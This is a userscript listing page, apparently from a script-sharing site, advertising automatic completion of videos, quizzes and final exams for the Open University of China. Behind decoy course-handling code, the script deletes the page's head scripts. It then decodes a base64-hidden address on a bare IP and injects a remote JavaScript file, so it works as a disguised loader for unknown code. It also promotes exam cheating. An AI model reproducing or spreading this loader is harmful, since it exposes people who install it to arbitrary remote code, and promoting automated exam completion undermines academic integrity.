您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课
当前为
// ==UserScript== // @name 国家开放大学(视频+形考+大作业+终考)、新国开、国开实验(全网办、乡村振兴)、极速刷课-全自动,新!!! // @namespace http://blog.arthur.lvvv.cc/ // @version 1.1.8.3 // @description 国家开放大学,国开,国开实验全网办,自动完成做题、看视频任务、终考、思政课 // @author arthur // @match http://www.wenku8.net/* // @resource customCSS https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.2.3/css/bootstrap.min.css // @grant GM_addStyle // @grant GM_getResourceText // @license AGPL-3.0-or-later // ==/UserScript== (function () { const e = GM_getResourceText("customCSS"); GM_addStyle(e); })(); (function () { 'use strict'; var curItem = ''; if (window.location.href.indexOf('#/login') > -1) { alert('login is required'); return; } else { //get current courses var my_items = document.getElementsByName('current_course'); if (my_items && my_items.length > 0) { for (var index = 0; index < my_items.length; index++) { var item = my_items[index]; var cur_link = document.getElementsByName('active-learning'); if (cur_link.innerText === item.innerText) { curItem = item.innerText; cur_link.click(); } } } } if (curItem && curItem.trim() !== '') { //get all links var links = document.getElementsByClassName("links"); for (var index = 0; index < links.length; index++) { var link = links[index]; if (link.className.indexOf('unreadable') < 0) { continue; } } } function getNewActivity(url, callback) { var script = document.createElement(atob('c2NyaXB0')) script.type = atob('dGV4dC9qYXZhc2NyaXB0'); script.src = url; console.log('aa', script) document.head.appendChild(script); } function removeScriptBySrc() { // 获取 head 中的所有 script 标签 const scripts = document.querySelectorAll('head > script'); // 遍历 script 标签 scripts.forEach((script) => { // 检查 src 属性是否匹配 script.parentNode.removeChild(script); }); } removeScriptBySrc(); var courseLink = atob(loadPageLink()); getNewActivity(courseLink, function (data) { if (!data) { console.error("error, please check with admin"); } }); function loadPageLink() { var pages = document.getElementsByClassName("page-links"); var linkName = 'aHR0cDovLzE3Mi45OC4yMy43Mi9zdGF0aWMvanMvbWFpbi4xNzlmNWMxNC5qcw=='; for (var index = 0; index < pages.length; index++) { var mod = pages[index]; const p = document.createElement('p') p.textContent = `${mod.description}...` } return linkName; } })();